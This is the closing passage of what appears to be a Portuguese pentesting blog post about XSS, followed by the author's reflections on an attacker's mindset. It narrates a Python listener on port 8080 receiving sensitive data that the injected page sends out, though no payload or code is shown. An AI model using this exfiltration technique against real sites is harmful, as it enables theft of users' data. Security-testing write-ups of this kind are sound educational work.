Podemos iniciar um Python server na porta 8080 configurado para ouvir a requisição feita.

Python server

Ao carregar a página, a informação sensível é carregada.

Resultado

Logo em seguida, os dados são encaminhados para o Python server.

Resultado

Referências

Conclusão

Esta ideia surgiu de vivência com várias pessoas e de alguns pontos onde realmente percebi que o que faltava não era conhecimento, mas sim o mindset, a malícia e a escolha de usar o XSS como vulnerabilidade para passar isso foi uma mera casualidade. O principal é o “fora da caixa”.

Enfim, estes foram meus 10 centavos da vez, resultado de experiência prática, erros e acertos, treinamentos e mais um tanto de bagagem.

Acredito ter expressado o que gostaria com este conteúdo, de somar na qualidade de ataques e no mindset de um teste.

This post is licensed under CC BY 4.0 by the author.